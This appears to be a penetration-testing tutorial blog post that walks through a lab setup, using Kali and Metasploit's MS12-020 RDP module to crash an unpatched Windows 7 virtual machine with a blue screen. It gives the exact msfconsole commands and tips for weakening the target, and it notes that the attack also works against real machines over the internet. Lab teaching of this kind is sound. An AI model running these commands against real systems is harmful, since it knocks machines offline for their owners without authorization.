Penetration Testing : Crash Windows 7 Using Metasploit and Remote Desktop Connection Vulnerability

Crashing Windows 7

Now while the story so far has been smooth and cozy, it gets a bit tough from here on. For modern operating systems like Windows 7, there aren't any magical exploits like the ones we had for unpatched Windows XP machines. However, when it comes to Windows 7, there aren't any direct exploits for gaining access to the machine. We can try some client side attacks, etc. Social engineering toolkit would be great for stuff like that. However, there is still one vulnerability that waits to be exploited. In Windows 7, there is a hole in the RDP port (3389) which can work over LAN as well as over the internet. Over the internet stuff can get a bit tougher, however on the LAN, this should be a piece of cake (if you have successfully followed out pentest tutorials so far).

Requirements

Now you will require an attacker Kali machine, and a victim Windows machine, both running on Virtual machines. Windows 7 should be a fresh install, with no updates, as they can patch the vulnerability, making it unexploitable. Now when you have got all this setup, you can move on to further steps.

Information Gathering

Now we'll have to find out the IP of out victim. This would have been complicated in a real life scenario, but in our case, you just go to Windows 7, open command prompt, and type ipconfig. You should be looking for IPv4 address of Local Area Network.

In our case thats where the information Gathering Stops

Starting Metasploit

Now execute the following commands to start metasploit framework

service postgresql start

service metasploit start

msfconsole

So now you have msf console opened up (note my codes will still display root@kali but you don't mind it).

Exploit

Now select the exploit that we are going to be using-

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Now do a show options, it will tell you that  it only requires two options, RHOST and RPORT. Rport is obviously 3389, the remote desktop port. The RHOST is the one you found out in the information gathering step. The use the following code to set the RHOST

set RHOST 192.168.---.---

Surprising as it may seem, we are done already. Just type

exploit

The target machine will get a Blue Screen Of Death and will reboot. You can do this as many times as you feel like, and in real life scenario, it can be really annoying, considering it can be done over the internet too.

Possible Problems

 If you get an error of this sort, then most probably your Windows 7 machine has firewall enabled, and is blocking your packets. An antivirus could do the same thing. There might be some issues with the LAN connection too. A good diagnosis test would be to ping the machine. Go to a kali terminal and execute

ping 192.168.---.---

After waiting for a while, press ctrl + c which will stop the pinging. Look at the result-

 If you get something like this (0 packets received), then there is absolutely no communication between the Kali and Windows machine (in effect, they are not on the same network, even though they are). That's why the exploit doesn't work.

Something like this means that the connection is just fine, and probably the Windows machine has become immune to the attack due to some patch. (see : https://technet.microsoft.com/en-us/library/security/ms12-020.aspx)
If its the former case, then you'll have to find a way to get the connection working, and if its the latter, then try disabling firewall, antivirus, and maybe setting the network as home instead of public. Then go to advanced sharing settings, and choose all the options that you think will make your computer easier to hack.
If possible, see if you can uninstall installed updates. The final thing to do is to get an early unpatched release of Windows 7. In some cases installing VMware tools might help.

Enable Remote Desktop

In many Windows releases, remote desktop is turned off by default. To enable it, follow these steps-

Go to System (Control Panel\System and Security\System). Click on Remote settings. Select the "Allow Remote Connections to this computer" button. Click ok.

Select the allow option. By default don't allow is selected in many Windows releases.